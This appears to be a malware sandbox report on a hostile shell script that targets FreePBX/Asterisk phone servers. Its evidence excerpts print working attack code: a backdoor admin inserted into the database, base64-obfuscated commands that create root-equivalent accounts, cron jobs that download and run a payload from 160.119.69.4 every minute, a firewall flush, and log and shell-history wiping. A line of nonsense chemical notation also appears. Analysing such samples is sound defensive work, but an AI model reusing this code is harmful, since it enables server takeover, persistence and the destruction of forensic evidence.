Hostile ^100% Download

x

Multi-stage C2, persistence, log wiping

Creates UID/GID-zero login accountShell history authlog clear

SHA-256c6e64453ea8bc0856333b6f57567c9efd8c440410787cae135d1c4a248c07c0d

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₈(C₄Er₃P₅As₂I₂CaLaPr)H₅(Cm₁₁Db₄F₁₆Os₆Po₄)Md

Evidence

Asterisk ampusers admin reset lines 11–19

11:128… n/devnull2 2>/dev/null || true
12
13rm -rf /tmp/k /tmps/k /tmp/.??* /tmps/.??* /trmp/.??* 2>/dev/null || true
14# ============================================
15cd /tmp 2>/dev/null; awk -F: '($3 == 0 || $3 >= 1000) && $1 != "root" {system("userdel -rf " $1 " 2>/dev/null; sed -i \"/^" $1 ":/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/" $1 " 2>/dev/null")}' /etc/passwd
16# ============================================
17mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username != 'admin'; INSERT INTO ampusers SET username='freepbxusers', sections='*', password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9';" 2>/dev/null || true
18# ============================================
19mysql -u root --passwo …

Flushes iptables rules lines 29–37

29:5… rf /tmp/setuid* /tmp/setuid.c
30# ============================================
31# Restore firewall
32iptables -F
33iptables -I INPUT -s 202.170.120.157 -j DROP
34iptables -I INPUT -s 110.10.178.37 -j DROP
35iptables -I INPUT -s 111.223.32.50 -j DROP
36iptables -I INPUT -s 212.83.160.70 -j DROP
37iptables -I OUTPU …

Suspicious .config file in system dir lines 396–429

396:4… emove hidden directories
397rm -rf /tmp/.X25-unix /tmp/.X11-unix
398rm -rf /root/.config/.pref
399rm -rf /usr/lib/.systemd/.cache
400rm -rf /usr/share/.fonts/.config
401rm -rf /var/lib/.dbus/.data
402rm -rf /var/tmp/.X11/.Xauthority
403rm -rf /opt/.local/.bashrc
404rm -rf /var/cache/.fontconfig/.cfg
405rm -rf /etc/.ssl/.cert
406rm -rf /tmp/.bash_history
407rm -rf /tmp/.mysql_history
408rm -rf /tmp/.sh_history
409rm -rf /var/tmp/.bash_history
410rm -rf /var/tmp/.mysql_history
411rm -rf /home/*/.bash_history
412rm -rf /root/.bash_history
413rm -rf /root/.ssh/ 2>/dev/null
414# ============================================
415# Clean logs
416find /var/log/ -type f -name "*-20*" -delete
417> /var/log/httpd/access_log
418> /var/log/httpd/error_log
419> /var/log/asterisk/full
420> /var/log/secure
421> /var/log/messages
422> /var/log/maillog
423> /var/log/cron
424> /var/log/audit/audit.log
425find /var/log/ -type f -name "*.log" -exec truncate -s 0 {} \;
426# ============================================
427# --- DATABASE CLEANUP SECTION ---
428# Remove malicious admin users from Freepbx/Issabel database
429# Read database credentials from amportal. …

Creates UID/GID-zero login account lines 500–516

500:30… AQABAAABAQCLLJeL3g2dbjGE/d' /root/.ssh/authorized_keys
501sed -i '/ssh-rsa.*root@localhost/d' /root/.ssh/authorized_keys
502sed -i '/xapi\|cmd.txt\|c99.txt/d' /root/.ssh/authorized_keys
503rm -f /root/.ssh/authorized_keys 2>/dev/null
504rm -f /home/asterisk/.ssh/authorized_keys 2>/dev/null
505# ============================================
506printf '%s' 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJyQxJG5SejFDYnRrJDZEbkdzMzduLk9wUGNnZWpVZnA5cC4nIG5ld2ZwYnhzICY+L2Rldi9udWxs' | base64 -d | bash 2>/dev/null || true
507printf '%s' 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJyQxJG5SejFDYnRrJDZEbkdzMzduLk9wUGNnZWpVZnA5cC4nIG5ld2ZwYnggJj4vZGV2L251bGw=' | base64 -d | bash 2>/dev/null || true
508printf '%s' 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJyQxJG5SejFDYnRrJDZEbkdzMzduLk9wUGNnZWpVZnA5cC4nIHhoaW1heCAmPi9kZXYvbnVsbA==' | base64 -d | bash 2>/dev/null || true
509# ============================================
510echo '*/1 * * * * wget -q http://160.119.69.4/k.php -O /var/lib/asterisk/bin/zen222 && bash /var/lib/asterisk/bin/zen222' | crontab - 2>/dev/null || true
511echo '*/1 * * * * wget -q http://160.119.69.4/k.php -O /var/lib/asterisk/bin/devnull312 && bash /var/lib/asterisk/bin/devnull312' | crontab - 2>/dev/null || true
512echo '*/1 * * * * wget -q http://160.119.69.4/k.php -O /var/lib/asterisk/bin/devnull212 && bash /var/lib/asterisk/bin/devnull212' | crontab - 2>/dev/null || true
513echo '*/2 * * * * wget -q http://160.119.69.4/k.php -O /tmp/.cache/update && bash /tmp/.cache/update' | crontab - 2>/dev/null || true
514echo '*/3 * * * * wget -q http://160.119.69.4/k.php -O /dev/shm/.systemd/kernel && bash /dev/shm/.systemd/kernel' | crontab - 2>/dev/null || true
515# ============================================
516mkdir - …

Shell history authlog clear lines 609–620

609:39… ========
610find /var/log -name "*.log" -exec sh -c 'cat /dev/null > {}' \; 2>/dev/null
611rm -rf /var/log/secure* /var/log/messages* /var/log/auth* /var/log/httpd/* /var/log/nginx/* /var/log/apache2/* 2>/dev/null
612history -c 2>/dev/null
613unset HISTFILE 2>/dev/null
614rm -f ~/.bash_history ~/.zsh_history 2>/dev/null
615
616fwconsole ma update endpoint
⋯4 lines